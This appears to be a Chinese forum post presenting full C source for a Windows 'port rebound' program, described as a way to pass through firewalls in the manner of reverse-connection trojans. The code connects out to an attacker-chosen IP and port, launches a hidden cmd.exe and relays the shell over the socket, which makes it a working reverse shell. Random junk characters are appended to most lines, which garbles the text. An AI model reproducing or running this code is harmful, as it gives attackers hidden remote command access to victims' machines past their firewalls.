Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 DVd8Ix<  
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/* ============================== %Za}q]?  
Rebound port in Windows NT ^mC~<pP(  
By wind,2006/7 knO X5UnS  
===============================*/ ue8 @=}  
#include mX|M]^_,z  
#include >|S@twy  
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#pragma comment(lib,"wsock32.lib") 23CvfP  
";U~wZW_  
void OutputShell(); |2'WSAWG  
SOCKET sClient; huqtk4u  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; KY&Lv^1_|  
~Jf(M^E  
void main(int argc,char **argv) pwMA,X/{  
{ OK4r)  
WSADATA stWsaData; *Y85evq  
int nRet; >-c?+oy  
SOCKADDR_IN stSaiClient,stSaiServer; I{w(`[Nxw*  
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if(argc != 3) 6!i`\>I]  
{ f:3cV(mC  
printf("Useage:\n\rRebound DestIP DestPort\n"); F7'MoH  
return; ?"'+tZ=f6  
} 
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WSAStartup(MAKEWORD(2,2),&stWsaData); 2RZa}  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); a6zWg7 PN  
HG /fp<[   
stSaiClient.sin_family = AF_INET; b81^756  
stSaiClient.sin_port = htons(0); <IIz-6*V  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?9xWTVa8  
NEIF1(:  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) O!>#q4&]  
{ WS6Qp`c)e  
printf("Bind Socket Failed!\n"); ;a|%W4"  
return; oM1C/=8   
} w3i74C&0  
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stSaiServer.sin_family = AF_INET; !'!\>x$  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #e=E  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #-b}QhxH  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Tcv/EST  
{ ]Ky`AG`2~  
printf("Connect Error!"); |L89yjhWBs  
return; Qn$YI9t  
} C/ VHzV%q  
OutputShell(); l?b*T#uIk  
} % dtn*NU  
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void OutputShell() ;>/Mal  
{ <iH
   
char szBuff[1024]; ]2ab~ gr  
SECURITY_ATTRIBUTES stSecurityAttributes; PDH|=meXM  
OSVERSIONINFO stOsversionInfo; SnX)&>B  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; A|PZ<WAY  
STARTUPINFO stStartupInfo; ^r<l#D,  
char *szShell; /F^ Jn_  
PROCESS_INFORMATION stProcessInformation; ]):>9q$C  
unsigned long lBytesRead; G,+3(C  
1fV)tvU$  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Wm}T=L`  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); zXUB6. e  
stSecurityAttributes.lpSecurityDescriptor = 0; C \5yo  
stSecurityAttributes.bInheritHandle = TRUE; yX
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )x?)v#k  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @+ T33X)h%  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?Vh#Gr  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E:uTjXt  
stStartupInfo.wShowWindow = SW_HIDE; ,jW a&7  
stStartupInfo.hStdInput = hReadPipe; [
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; OrL4G `O  
=b"{*Heuw  
GetVersionEx(&stOsversionInfo); z[vu-f9  
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switch(stOsversionInfo.dwPlatformId) f8UJ3vB  
{ u^i3@JuX  
case 1: .F%jbnKd_  
szShell = "command.com"; .=yv m  
break; \R-'<kN.*  
default: 'n
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szShell = "cmd.exe"; MLiaCG;  
break; hpbi!g  
} }G^'y8U  
XL;WU8>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); K:VZ#U(_  
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send(sClient,szMsg,77,0); FI$ -."F  
while(1) &Cm]*$?  
{ ={]POL\ A  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 9s7TLT k  
if(lBytesRead) tnBCO%uG  
{ rf`xY4I\  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4MzPm~Ct  
send(sClient,szBuff,lBytesRead,0); f)Y~F/[$P  
} zN)).a  
else ,_<|e\>~  
{ C CLc,r>)  
lBytesRead=recv(sClient,szBuff,1024,0); "j_cI-@6  
if(lBytesRead<=0) break; .kkhW8:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1*6xFn  
} jS8B:>  
} k=d0%} `M(  
 M_%c9g@x  
return; sX}#L  
}